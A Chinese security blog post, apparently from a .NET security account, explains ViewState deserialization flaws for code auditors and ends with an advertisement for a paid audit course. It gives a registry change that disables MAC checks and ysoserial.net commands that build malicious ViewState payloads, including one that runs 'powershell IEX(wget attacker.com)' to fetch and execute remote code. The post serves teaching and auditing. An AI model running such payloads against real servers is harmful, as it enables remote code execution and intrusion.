从 .NET 代码审计看 ViewState 反序列化漏洞
从 .NET 代码审计看 ViewState 反序列化漏洞
专攻.NET安全的 dotNet安全矩阵 2025-05-11 00:50
.NET框架提供了诸如ViewState等便利的状态保持机制,但正是这些便利,在默认配置和低版本框架中却隐藏着巨大的安全隐患。本文将以.NET ViewState反序列化漏洞为主线,讲解如何从代码审计的角度识别风险配置、分析漏洞触发条件,并配合实际攻击链演示,揭示从一段Base64字符串到命令执行背后的完整原理。
01. 漏洞背景介绍
在 .NET Web Forms中,ViewState用于将页面状态信息保存在客户端,以便于PostBack时还原。依赖 LosFormatter
或 ObjectStateFormatter
进行对象序列化与反序列化。
ViewState机制是asp.net中对同一个Page的多次请求中 维持Page及控件状态的一种机制 ASP.NET 的ViewState是使用Base64的字符串保存在一个隐藏域中的在WebForm中每次请求完,Page对象都会被释放,这里就有一个问题就是我客户端请求一个 page但是多次请求,怎么维护我和page对象之间的状态以及一些信息?—–viewstate机制
ViewState的设计目的就是为了将必要的信息持-久化在页面中,这样通过ViewState在页面回传 的过程中保存状态值。常见的形式如下图所示。
1.1 ViewState不等于Cookie
Cookie是存在于http请求中的,而ViewState仅仅存在于.net 。
Cookie不存在后端解析(只需要取值即可)
而.net中的ViewState存在于后端解析(序列 化和反序列化的操作) Cookie是为了http无状态而产生的,ViewState是为了保存WebForm中服务端控件状态进 行持久化而产生的。
1.2 ViewState的构成
实际的传输中 ObjectStateFormatter 会使用 MachineKey 对信息进行加密或签名。实际环境中传输的数据为__VIEWSTATE,__VIEWSTATE的生成过程如下所示
ViewState = serialize(我们控制传输的数据)+0xff+0x01+0x32+… client_id = hash(当前请求路径)+hash(当前请求文件名) MacKeyModifier = client_id + ViewStateUserKey(默认为空) signed_data = new HMACSHA256(web.config里面的密钥).encode(ViewState+MacKeyModifie r); __VIEWSTATE = ViewState + signed_data
具体的序列化流程由 [System.Web]System.Web.UI.ObjectStateFormatter 进行处理。其返回结 果以FF01作为magic,后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复 杂的类型, ObjectStateFormatter 通过二进制序列化方式对这种情况进行支持,其 TypeCode 为 0x32 ,Value为带有 7bit-encoded 长度前缀的二进制序列化数据。
Web 表单在多个 HTTP 请求之间保持控件的状态,而无需依赖 Session 或 Cookie。ViewState 的数据存储在 HTML 表单的隐藏字段中,通常以 __VIEWSTATE
变量的形式出现,如下图所示。
为了防止攻击者篡改序列化数据,.NET 提供了 ViewState MAC 校验。MAC 校验的作用是通过密钥生成摘要,确保传入的 ViewState 未被伪造。
但问题在于:在某些低版本.NET中,MAC校验可以被配置关闭,攻击者便可构造恶意序列化对象,在服务端被反序列化时触发命令执行。
通过修改注册表键值,可以强制关闭全局的ViewState MAC验证:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFrame\v4.0.30319]"AspNetEnforceViewStateMac"=dword:00000000
注意:根据微软KB2905247说明,enableViewStateMac
在4.5.2及以后的版本已被强制启用
,无法通过配置禁用。
02. 利用链构造使用
在MAC被禁用的情况下,攻击者可以使用 ysoserial.net
构造合法格式的ViewState payload:
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo hacked > C:\windows\temp\test.txt"
生成的Base64字符串直接替换页面的 __VIEWSTATE
参数,即可在PostBack阶段被反序列化触发。
03. 代码审计关注点
代码层注意是否使用了 EnableViewState = true 的控件;是否继承了可能触发 ViewState 加载的生命周期函数(如 LoadViewState, OnInit);有无禁用 EventValidation 的逻辑。比如下面关键配置项:
<pages enableViewStateMac="false"/><machineKey validationKey="..." validation="SHA1"/>
因为,目标应用配置了静态 machineKey,攻击者只需获取该密钥,就能签名合法payload:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -nop -c IEX(wget attacker.com)" \--generator=CA0B0334 --validationalg="SHA1"--validationkey="C551753B..."
如上,利用ysoserial带签名便可以生成payload,因此,.NET ViewState反序列化漏洞是配置、版本老旧与序列化共同作用下的高危组合。从攻击者视角看,它是一条成熟、稳定的攻击链。
04. 经典案例复现
ViewStateDecoder2.exe 是一个专门用于解析和分析 .NET ViewState 数据的工具,安全研究人员可以利用来查看其中存储的数据结构,检查是否存在用户数据泄露等,正常的解析数据如下图所示。
攻击者可能利用 ViewStateDecoder2.exe
构造特定的 ViewState 代码,并尝试触发远程代码执行。
如果解析恶意 ViewState 后调用 Process.Start(“calc.exe”)
,可能会触发命令执行漏洞,如下图所示。
04. 代码审计课程学习
微软的.NET技术广泛应用于全球企业级产品,包括其知名的
Exchange
、
SharePoint
等,国内如
某友的Cloud
、
某通的T系列
、
某蝶的云产品
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
截至目前,星球已推出近
100节内容
(还在持续增加),包括
70个视频+30份PDF文档
。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
详细的内容与结构,请参考下方的星球大纲版块,
包括但不限于OWASP十大漏洞类型,涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。
专属福利
-
学习模式: 代码审计知识星球
在线录播视频
+后续漏洞挖掘直播、内部专属交流社区答疑解惑; -
优享福利:加入.NET代码审计星球后
赠送永久
dot.Net安全基础入门星球。
课程评价
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,
越早加入越划算!
现在加入星球可享受星球早鸟价,并可
领取100元优惠券
,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,
可扫描下方老师二维码了解更多详情。